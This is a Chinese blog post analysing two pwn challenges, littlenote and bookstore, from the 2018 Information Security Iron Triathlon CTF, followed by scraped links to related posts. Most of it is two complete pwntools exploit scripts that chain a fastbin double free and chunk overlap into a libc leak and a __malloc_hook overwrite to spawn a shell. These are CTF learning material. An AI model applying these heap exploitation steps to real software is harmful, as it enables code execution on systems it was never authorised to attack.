原贴主地址:https://www.52pojie.cn/thread-837939-1-1.html

littenote这道题的exp

#------------------------------------------------------------------------------------------------------------------------------------

from pwn import *

io=process('./littlenote')

#context(os='linux',arch='amd64',log_level='debug')

def add(content,choose):

io.sendline('1')

io.recvuntil('Enter your note\n')

io.send(content)

io.recvuntil('Want to keep your note?\n')

io.sendline(choose)

io.recvuntil('Done\n')

def show(index):

io.sendline('2')

io.recvuntil('Which note do you want to show?\n')

io.sendline(str(index))

return (io.recvuntil("\nDone\n"))[:-6]

def free(index):

io.sendline('3')

io.recvuntil('Which note do you want to delete?\n')

io.sendline(str(index))

io.recvuntil('Done\n')

def main():

add('\x00'*0x58+p64(0x71),'Y')

add('a','Y')

add((p64(0x0)+p64(0x21))*6,'Y')

free(1)

free(0)

free(1)

#pause()

heap_base=u64((show(0)).ljust(8,'\x00'))-0x70

print "heap_base -> " + hex(heap_base)

#pause()

add(p64(heap_base+0x60),'Y') # !

add('\x00'*0x58+p64(0x71),'Y')

add('\x00'*8+p64(0x81),'Y')

add('\x00'*8+p64(0xA1),'Y')

#pause()

free(1)

libc_base=u64((show(1)).ljust(8,'\x00'))-0x68-0x00000000003C4B10

print "libc_base -> " + hex(libc_base)

one_gadget=libc_base+0xf02a4 # change

print "one_gadget -> " + hex(one_gadget)

add('a','Y') # 7

add('a','Y') # 8

add('a','Y') # 9

free(7)

free(8)

free(7)

point=libc_base+0x3c4af5-8

add(p64(point),'Y') # 10

add('a','Y') # 11

add(p64(point),'Y') # 12

#pause()

add('a'*19+p64(one_gadget),'Y')

io.sendline('1')

io.interactive()

main()

#------------------------------------------------------------------------------------------------------------------------------------

这道题就是个chunk extend/overlapping,通过extend/overlapping来修改一些已经malloc的chunk的size域为small chunk而不属于fast chunk的范围,从而导致free该chunk的时候被放入unsorted bin,从而可以leak出libc地址跟计算出one_gadget的地址,进而修改fd指针指向__malloc_hook的附近的位置.从而控制程序执行流获得一个shell.

bookstore这道题有意思的多.

附上原帖贴主的exp

#------------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

# imports

from pwn import *

import time

import os

import sys

elf = ""

libc = ""

env = ""

LOCAL = 1

context.log_level = "debug"

p = process("./bookstore", env={"LD_PRELOAD":"/tmp/ironthree/book/libc_64.so"})

#p = remote("ip", port) #uncomment this.

p.recvuntil("choice:\n")

def add(name, length, book):

p.sendline("1")

p.recvuntil("name?\n")

p.send(name)

p.recvuntil("name?\n")

p.sendline(str(length))

p.recvuntil("book?\n")

p.send(book)

p.recvuntil("choice:\n")

def sell(idx):

p.sendline("2")

p.recvuntil("sell?\n")

p.sendline(str(idx))

p.recvuntil("choice:\n")

def read(idx):

p.sendline("3")

p.recvuntil("sell?\n")

p.sendline(str(idx))

data = p.recvuntil("choice:\n")

return data

add("1234567\n", 0, "a\n")

for i in range(4):

add("12345678\n", 0x50, "a\n")

add("aaaadddd\n", 0, "a\n") #7

add("bbbbcccc\n", 0x40, "a\n") #8

add("railser\n", 0, "b\n")

add("ddaa\n", 0x50, "b\n")

add("ddaa\n", 0x20, "b\n")

add("ddaa\n", 0x30, "b\n")

add("ddaa\n", 0x40, "b\n")

add("ddaa\n", 0x50, "b\n")

sell(0)

add("trytry\n", 0, "a" * 24 + p64(0xc1)+"\n") #overflow

sell(1)

add("a" * 16 + p64(0x6e)+"\n", 20, "x"*8+"\n")

data = read(1)

libc_addr = data.split("x"*8)[1][:6]

libc = u64(libc_addr + "\0\0") - 0x3c4c28

print hex(libc)

one = libc + 0x4526a

mallochook = libc + 0x3c4b10 - 0x10

target = libc + 0x3c4b38

#gogo

sell(5)

sell(6)

add("a"*30, 0, "a" * 24 + p64(0x51)+p64(0x6f)+"\n")

add("a"*30 ,0x40, "a\n")

sell(7)

sell(8)

add("a"*30, 0, "a"*24 + p64(0x61)+p64(target) + "\n")

add("a" * 30, 0x50, "a\n")

add("a"*30, 0x50, p64(0) * 6 + p64(mallochook) + "\n")

add("a"*30, 0x50, "a"*0x30+"\n")

add("a"*30, 0x50, p64(one) + "a"*0x30+"\n")

p.sendline("1")

p.sendline("xxxx")

p.sendline("30")

p.interactive()

#------------------------------------------------------------------------------------------------------------------------------------

拿到这道题我早就可以修改fd指针的.不过因为程序对malloc的大小有限制所以导致不知道下一步要怎么办,尝试过malloc 2 stack,不过stack上也没有合适的size,所以就卡住了,直到看到了原帖贴主的exp,他的思路是通过修改free的fast chunk的fd指针,从而可以控制fastbin来伪造size,进而可以修改别的free的chunk的fd来指向这个我们伪造的size,进而控制top chunk的指针,从而malloc 2 __malloc_hook,这种思路第一次看到!

至于myhouse这题,还没看...

有师傅学pwn的可以交流交流!

这几道题目可以在原帖下载!

信息安全铁人三项赛真题解析_对 [CrackMe] 【ctf】2018信息安全铁人三项赛个人赛总决赛赛题分享 的一些补充...相关推荐

  1. 猿人学web端爬虫攻防大赛赛题解析_第一题:源码乱码

    第一题:js 混淆 - 源码乱码 1.前言 2.题目理解 3.逆向(踩坑)分析过程 3.1.初步分析 3.2.当头一棒 3.3.循序渐进 3.4.大功告成 4.结语 1.前言 接触网络爬虫已经有两三年 ...

  2. Mathorcup数学建模竞赛第四届-【妈妈杯】A题:“2048”游戏的数学基础及其取胜策略研究(附赛题解析及MATLAB代码)

    赛题描述 2048 是最近一款非常火爆的益智游戏,很多网友自称"一旦玩上 它就根本停不下来".2048 游戏的规则很简单:每次控制所有方块向 同一个方向运动,两个相同数字的方块撞在 ...

  3. 信息安全铁人三项赛真题解析_信息安全铁人三项赛二进制部分题解

    2018-2019赛季 little note checksec menu() main() 增.删.查四个功能,并且保护基本全开. add() 这里需要注意的就是,至多0xF个note并且大小固定0 ...

  4. 猿人学web端爬虫攻防大赛赛题解析_第四题:雪碧图、样式干扰

    第四题:雪碧图 - 样式干扰 1.前言 2.题目理解 3.解析过程 3.1.初窥门径 3.2.深入探究 3.2.1.确定原理 3.2.2.逆向破解 3.2.代码实现 4.结语 1.前言 久违的第四题终 ...

  5. 猿人学web端爬虫攻防大赛赛题解析_第九题:js混淆-动态cookie2

    js混淆,动态cookie2 一.前言 二.加密逻辑初探 三.加密逻辑深入分析 四.代码实现 4.1.ast解混淆的一个坑 4.2.完整实现过程 五.参考文献 一.前言 一转眼又有快两个星期没更博客了 ...

  6. C1能力认证训练题解析 _ 第二部分 _ Web基础

    目录 一.语义化标签 二.表单标签 三.转义字符 四.head 头 五.CSS 引入方式 六.CSS 背景属性 七.CSS 文本属性 八.基础选择器 九.伪类选择器 十.伪元素选择器 十一.CSS优先 ...

  7. 牛客网数据开发题库_练习SQL利器,牛客网SQL实战题库

    牛客网SQL实战网址:https://www.nowcoder.com/ta/sql 持续更新--记录自己在牛客网SQL的做题过程 更新进度:61题,2019-4-3,更完了 1.查找最晚入职员工的所 ...

  8. 最适合新手的python刷题网站_有没有适合新手练习Python的网站(做题类)?

    直接在知乎看我整理的练习题就可以了, 给你分享一下我自己亲身经历过的python考试题(下面还有练习题大全哦~~~) 记得给小达点个关注~ 你可以参考下面的题进行练习,考试题换汤不换药,希望对你有帮助 ...

  9. java 慕课 结题报告_[转载]微课组:小课题研究结题报告

    一.课题背景及界定 近两年,各种微课大赛和培训活动此起彼伏,微课热让我们不得不对传统教学资源进行反思.传统教学资源如教案.课件.习题等,这些资源以整节课或单元为组织单位,重点从辅助教师"教& ...

  10. java获取表格的题注_【转】Word之表格、图片的题注(抬头)自动编号

    问:word中的表格怎么自动插入题注(即表头的编号自动编号)? 答: 1首先搞清楚自动编号的意思.自动插入题注的意思是,在你在word中新建或者复制一个word表格的时候,表头的编号就自动生成了,而不 ...

最新文章

  1. 高通研发VR软件进军医疗领域,帮助医生诊断中风病患
  2. GLUEscript(wxJavascript)
  3. linux 设置gbk编码格式,设置ubuntu支持gbk编码格式和设置eclipse 编码格式
  4. 201671010117 2016-2017-2 《Java程序设计》Java第十七周学习心得
  5. 谈一谈synchronized关键词
  6. 断开式绑定ComboBox 关键命令 1201
  7. Matlab 【应用】【1】用Matlab找一组模拟波形的极值(含极大值、极小值、最大值)并在图中画出来
  8. 00058 imp_IMP-00058: ORACLE error 12154 encountered
  9. 为什么我花了三个半月准备的面试还是砸了?附 iOS 开发者求职攻略
  10. 9.看板方法---建立输入节奏
  11. 计算机网络第二章-----物理层
  12. Java Web前后端分离架构
  13. 小米,红米手机miui安装谷歌服务框架GMS三件套安,安装Google Play商店
  14. 屏幕绘图最佳利器Pointfix,绿色中文版_我是亲民_新浪博客
  15. CS5218: DP转HDMI 4K30HZ转换方案
  16. 市场调研-全球与中国化妆品级抗坏血酸葡糖苷市场现状及未来发展趋势
  17. 相机选型焦距、距离的计算
  18. CUBEMX配置STM32实现FTP文件传输以及使用SNTP获取网络时间并写入RTC
  19. c语言图片处理函数库,C语言图形开发库函数graphics.doc
  20. 还原混淆过的stacktrace

热门文章

  1. firefox vimperator (图)
  2. ES6-04:函数的扩展
  3. 手动为容器设置ip地址
  4. Python实现Excel与XML之间的转换
  5. 关于在Mac上安装模拟器的坑比~~~~~
  6. 【转】flex中的labelFunction(combox和dataGrid)
  7. 深入浅出SharePoint——站点的部署
  8. pymongo访问数据前数据库名和集合名(表名)校验
  9. Microsoft Visual C++ 14.0 is required (Unable to find vcvarsall.bat)
  10. AI市场需求变化了,应届生们却还停留在几年前的认知上...